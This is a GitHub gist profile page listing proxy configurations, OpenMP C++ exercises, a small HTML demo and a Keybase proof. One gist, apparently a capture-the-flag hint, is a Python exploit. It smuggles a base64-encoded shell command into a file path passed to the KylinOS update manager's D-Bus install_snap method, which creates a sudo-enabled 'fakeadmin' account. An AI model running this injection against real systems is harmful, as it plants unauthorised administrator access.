Skip to content

Instantly share code, notes, and snippets.

View glzjin's full-sized avatar

glzjin glzjin

View GitHub Profile
# Best Shadowrocket Rules (https://github.com/nthack/Shadowrocket-ADBlock-Rules-Easy)
# by nthack
# build time: 2024-11-24 00:22:37
[General]
bypass-system = true
skip-proxy = 192.168.0.0/16, 10.0.0.0/8, 172.16.0.0/12, localhost, *.local, e.crashlytics.com, captive.apple.com
bypass-tun = 10.0.0.0/8,100.64.0.0/10,127.0.0.0/8,169.254.0.0/16,172.16.0.0/12,192.0.0.0/24,192.0.2.0/24,192.88.99.0/24,192.168.0.0/16,198.18.0.0/15,198.51.100.0/24,203.0.113.0/24,224.0.0.0/4,255.255.255.255/32
dns-server = system, 114.114.114.114, 112.124.47.27, 8.8.8.8, 8.8.4.4
@glzjin
glzjin / v2-for-offsec-config.json
Created February 27, 2023 09:45
v2-for-offsec-config.json
// Config file of V2Ray. This file follows standard JSON format, with comments support.
// Uncomment entries below to satisfy your needs. Also read our manual for more detail at
// https://www.v2fly.org/
{
"log": {
// By default, V2Ray writes access log to stdout.
// "access": "/path/to/access/log/file",
// By default, V2Ray write error log to stdout.
// "error": "/path/to/error/log/file",
@glzjin
glzjin / 1.py
Last active February 2, 2023 08:28
A hint for KP-Basic
import dbus
import base64
command = "adduser fakeadmin && adduser fakeadmin sudo && echo 'fakeadmin:Bb123***'|chpasswd"
command_base64 = base64.b64encode(command.encode()).decode()
path = '/tmp/`echo ' + command_base64 + '|base64 -d|sh`'
bus = dbus.SystemBus()
remote_object = bus.get_object("cn.kylinos.KylinUpdateManager", "/cn/kylinos/KylinUpdateManager")
remote_object.install_snap(path, dbus_interface="cn.kylinos.KylinUpdateManager")
@glzjin
glzjin / openmp.c
Created December 14, 2018 21:17
Openmp3
#include <iostream>
#include "omp.h"
#include <sys/time.h>
#include <chrono>
#include <cmath>
using namespace std;
int mask[3];
@glzjin
glzjin / openmp.c
Created December 3, 2018 16:57
openmp112*
#include <iostream>
#include "omp.h"
#include <sys/time.h>
#include <chrono>
#include <cmath>
using namespace std;
class EquationsLinearSystem
{
@glzjin
glzjin / index.html
Last active December 3, 2018 11:59
Mouse Follow
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Mouse Follow</title>
<style>
#p {
text-align: center;
-webkit-appearance: none;
-moz-appearance: none;
@glzjin
glzjin / openmp1.cpp
Last active November 20, 2018 12:26
Test OpenMp 2
#include <iostream>
#include "omp.h"
#include <sys/time.h>
#include <chrono>
#include <cmath>
using namespace std;
void DataInit (double* pMatrix, double* pVector, int Size) { // Init components of vector and matrix
int i;
@glzjin
glzjin / openmp.cpp
Last active November 20, 2018 12:25
Test OpenMp
#include <iostream>
#include "omp.h"
#include <sys/time.h>
#include <chrono>
using namespace std;
double random(double start, double end)
{
return start + (end - start) * rand() / (RAND_MAX + 1.0);

Keybase proof

I hereby claim:

  • I am glzjin on github.
  • I am glzjin (https://keybase.io/glzjin) on keybase.
  • I have a public key ASCnRvgA_gnoSKwFqmIuDLxsh1P3CTGdDraJmd1eZ3Y1fgo

To claim this, I am signing this object: